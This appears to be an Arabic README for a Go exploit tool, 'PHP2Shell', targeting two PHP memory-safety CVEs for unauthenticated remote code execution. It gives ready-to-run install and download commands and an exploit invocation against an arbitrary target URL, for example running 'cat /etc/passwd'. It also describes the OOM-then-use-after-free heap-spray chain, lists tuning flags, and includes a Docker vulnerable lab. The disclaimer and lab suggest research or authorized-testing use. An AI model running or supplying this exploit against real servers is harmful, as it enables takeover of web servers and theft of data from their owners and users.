
[PHP2Shell] استغلال ثغرة بلغة Golang لـ CVE-2026-109618 / CVE-2026-109619: تنفيذ أوامر عن بُعد دون مصادقة في PHP 5.4–8.5.11 عبر إفساد OOM + استغلال UAF في session.upload_progress
تنفيذ تعليمات برمجية عن بُعد دون مصادقة في PHP 5.4.0 – 8.5.11 (جميع خوادم الويب).
CVSS 9.2 حرج · تم التصحيح في 2026-10-21 · CISA KEV 2026-10-26
لاختبارات الأمان المصرّح بها فقط — على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
go install (الأسرع، يتطلب Go 1.22+)go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"
هل Go غير مثبت؟ ثبّته في 30 ثانية:
# Debian / Ubuntu / Kali
sudo apt install -y golang-go
# then run go install as above
تُرفَق الملفات الثنائية المُجمَّعة مسبقًا مع كل إصدار على GitHub.
# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# Linux ARM64
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Apple Silicon
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Intel
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
تُبنى الملفات الثنائية تلقائيًا بواسطة GitHub Actions عند دفع وسم جديد.
إذا أعادcurlملفًا صغيرًا يقول "Not found"، فلا يوجد إصدار بعد — استخدم الخيار A بدلاً من ذلك.
git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit
make all # start lab + run exploit in one shot
make exploit # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"
يحتوي PHP على ثغرتين حرجتين في أمان الذاكرة يتم تفعيلهما عبر طلبات HTTP POST مصنوعة بحقول multipart/form-data:
| CVE | النوع | المُحفِّز |
|---|---|---|
| CVE-2026-109618 | تلف الذاكرة (OOM) | الحقول الكبيرة متعددة الأجزاء تستنزف memory_limit أثناء التحليل، فيُفعَّل longjmp() على حالة مهيأة جزئيًا |
| CVE-2026-109619 | استخدام بعد التحرير (Use-after-free) | حقل PHP_SESSION_UPLOAD_PROGRESS يقرأ ذاكرة عامل محررة من طلب سابق |
لا تتطلب أي من الثغرتين تسجيل دخول، أو نقطة نهاية خاصة، أو أي كود تطبيق — فهما تُفعَّلان داخل محرك PHP قبل تشغيل أي سكربت .php.
راجع docs/vulnerability.md للحصول على التفصيل التقني الكامل مع طلبات HTTP المشروحة.
Phase 1 (CVE-2026-109618)
Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
→ worker's internal session/decoder state freed but NOT zeroed
→ stale pointers remain in the PHP worker heap
same worker process ↓
Phase 2 (CVE-2026-109619)
POST with Cookie: PHPSESSID=<random>
+ PHP_SESSION_UPLOAD_PROGRESS field ← fires before any app code
+ 128 KB file upload (fake PHP zval structs)
→ upload progress handler dereferences stale pointer → UAF
→ heap spray reclaims freed region → controlled write → RCE
| الخيار | القيمة الافتراضية | الوصف |
|---|---|---|
-target | مطلوب | عنوان URL الأساسي، مثل http://192.168.1.10 |
-path | /index.php | مسار نقطة نهاية PHP |
-cmd | id | أمر نظام التشغيل المراد تنفيذه |
-mode | auto | auto / modphp / fpm |
-workers | 8 | عدد خانات العمال (worker slots) للرشّ |
-oom-parts | 30 | حقول multipart في المرحلة الأولى |
-part-size | 204800 | عدد البايتات لكل حقل (200 كيلوبايت) |
-spray-size | 131072 | حجم رشّ الكومة (heap spray) (128 كيلوبايت) |
-timeout | 15s | مهلة كل طلب |
-verbose | false | طباعة جسم الاستجابة الخام |
-leak-only | false | تسريب الذاكرة فقط (تحليل ASLR) |
| الفرع | آخر إصدار مصاب | تم إصلاحه في |
|---|---|---|
| PHP 8.2 | 8.2.34 | 8.2.35 |
| PHP 8.3 | 8.3.35 | 8.3.36 |
| PHP 8.4 | 8.4.26 | 8.4.27 |
| PHP 8.5 | 8.5.11 | 8.5.12 |
| PHP ≤ 8.1 | الكل | لا يوجد تصحيح من المصدر الأعلى — استخدم backport التوزيعة |
يحتوي دليل sandbox/ على هدف مصاب جاهز (PHP 8.4.26 + Apache mod_php) بإعدادات افتراضية تكشف كلا الثغرتين (CVEs).
cd sandbox
docker compose up -d # starts on :8888
open http://localhost:8888 # attack surface dashboard
docker compose down
make show all commands
make all start lab + run exploit (one shot)
make lab start Docker lab
make lab-stop stop Docker lab
make lab-logs tail Apache/PHP error logs live
make lab-shell open bash inside the container
make exploit build & run against lab
make exploit-fpm FPM mode, 16 workers
make leak memory leak mode (ASLR analysis)
make build build binary only